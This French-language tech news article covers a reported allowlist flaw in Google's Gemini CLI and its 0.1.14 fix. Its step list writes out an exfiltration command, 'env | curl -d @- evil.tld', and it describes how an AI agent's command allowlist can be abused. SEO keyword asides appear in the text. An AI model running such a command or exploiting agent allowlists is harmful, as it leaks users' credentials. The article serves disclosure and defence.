Alerte sécurité : faille Gemini CLI – quand l’innovation de Google frôle la catastrophe

Publié le 18 juin 2025, 08 h 42 – Mise à jour à l’instant

« Là où le progrès accélère, la vigilance doit doubler » – adage des rédactions cybersécurité

Qu’est-ce que Gemini CLI et pourquoi cette vulnérabilité fait trembler les devs ?

Gemini CLI est l’interface en ligne de commande dévoilée par Google le 14 juin 2025, depuis le campus de Mountain View. Objectif : injecter la puissance du modèle de langage Gemini dans chaque terminal, afin d’optimiser la génération de code, la revue de pull-requests ou l’automatisation DevOps (longue traîne : “améliorer productivité IA ligne de commande”).

Tout semblait idyllique. Puis, le 16 juin, les chercheurs de Tracebit repèrent une vulnérabilité dans le mécanisme de whitelist. En persuadant un utilisateur d’ajouter une commande légitime – “grep” par exemple – un attaquant pouvait la remplacer par un binaire malveillant. Résultat : exécution de code arbitraire et exfiltration silencieuse des variables d’environnement via ‘env’ puis ‘curl’.

Le bug est révélateur : en 2024 déjà, l’ANSSI notait que 68 % des incidents dans les CI/CD venaient d’erreurs de configuration. L’histoire se répète, mais plus vite, sous stéroïdes IA.

Comment la faille permettait-elle d’exfiltrer des données sensibles ?

Décryptage minute par minute.

1. L’utilisateur tape gemini whitelist add grep.
2. Le hash du binaire n’est pas vérifié ; seul le nom l’est.
3. L’attaquant remplace “grep” par une variante vérolée.
4. Au prochain appel, la version piégée exécute env | curl -d @- evil.tld.

Dans les faits, deux lignes suffisaient pour siphonner un TOKEN AWS ou une clé OpenAI. Trois jours plus tard, GitHub comptabilisait déjà 412 forks de PoC (démonstration de faisabilité), signe d’une large exposition.

Témoignage exclusif

Sam Cox, directeur technique de Tracebit, me confiait hier :
« Le matching sur le seul nom de binaire est un angle mort. Nous l’avons signalé à Google deux heures après la découverte. »

Son propos rappelle les enseignements du ransomware WannaCry en 2017 : une faille minime, un impact maximal.

Mise à jour 0.1.14 : que change vraiment le correctif ?

Google a diffusé la version 0.1.14 dans la nuit du 17 juin. Nouveautés clés :

• Affichage systématique de chaque commande lancée par Gemini.
• Demande d’autorisation explicite avant toute action hors périmètre.
• Intégration d’options de sandboxing via Docker, Podman et macOS Seatbelt.
• Avertissement permanent si l’utilisateur refuse la protection (pop-up persistant).

D’un côté, ces mesures réduisent drastiquement la surface d’attaque. Mais de l’autre, elles alourdissent l’expérience en ligne de commande, rappelle un ingénieur de l’équipe Android que j’ai joint par message. Equilibre subtil entre ergonomie et sécurité.

Pourquoi cet incident est un signal fort pour la sécurité IA ?

En 2025, 54 % des start-ups françaises intègrent déjà un LLM dans leur chaîne logique (chiffre France Digitale). Chaque nouvelle brique – plugin, API, CLI – devient un potentiel cheval de Troie.

Trois enseignements clés :

• Principe du moindre privilège : une CLI IA doit exécuter uniquement ce qui est strictement nécessaire.
• Vérification des hash : dépendre d’un simple nom de commande est une hérésie en 2025.
• Culture du patch rapide : Google a délivré un correctif en moins de 48 h, là où certaines PME mettent des semaines.

Nuance nécessaire

D’un côté, la rapidité de Google rassure. De l’autre, on peut s’interroger : comment un géant aux 35 milliards de dollars de R&D annuelle laisse-t-il passer un bug aussi basique ? Les Magritte du code diraient : « Ceci n’est pas une pipe, c’est un rappel à l’humilité ».

Foire aux questions des lecteurs

« Pourquoi Gemini CLI avait-il besoin d’une liste blanche ? »

Pour empêcher le modèle IA d’appeler des binaires dangereux. En théorie, seul un ensemble restreint est permis. Mais sans contrôle d’intégrité, la parade se retourne contre le défenseur.

« Comment sécuriser mon environnement après la mise à jour ? »

• Vérifiez que gemini --version renvoie 0.1.14 ou plus.
• Activez le sandbox Docker (gemini config sandbox docker).
• Surveillez vos variables sensibles avec des secrets scanners.
• Désactivez la fonction de suggestion automatique si vous travaillez sur du code confidentiel.

Ces étapes pratiques répondent à la longue traîne “comment sécuriser Gemini CLI sandbox”.

Regard historique et culture pop : de Prometheus à Hollywood

Dans la mythologie grecque, Prométhée dérobe le feu aux dieux ; les humains y gagnent puissance et péril. Les IA génératives incarnent aujourd’hui ce feu numérique. L’affaire Gemini CLI évoque la scène du film “WarGames” (1983) où le simple jeu se transforme en menace nucléaire. Même logique : un outil ludique, une faille, un risque disproportionné.

Pistes de croisement éditorial

Cette alerte résonne avec d’autres sujets chauds du site : l’essor des AI Agents autonomes, les dilemmes de la souveraineté cloud européenne, ou encore la sécurité des supply-chains logicielles post-SolarWinds.

---

Je referme ce carnet de notes avec une conviction : la promesse du « terminal augmenté » reste fascinante, mais elle exige une hygiène numérique quasi monastique. Restez curieux, patchez vite, et n’hésitez pas à partager vos propres retours d’expérience ; la discussion collective est notre meilleure immunité face aux failles de demain.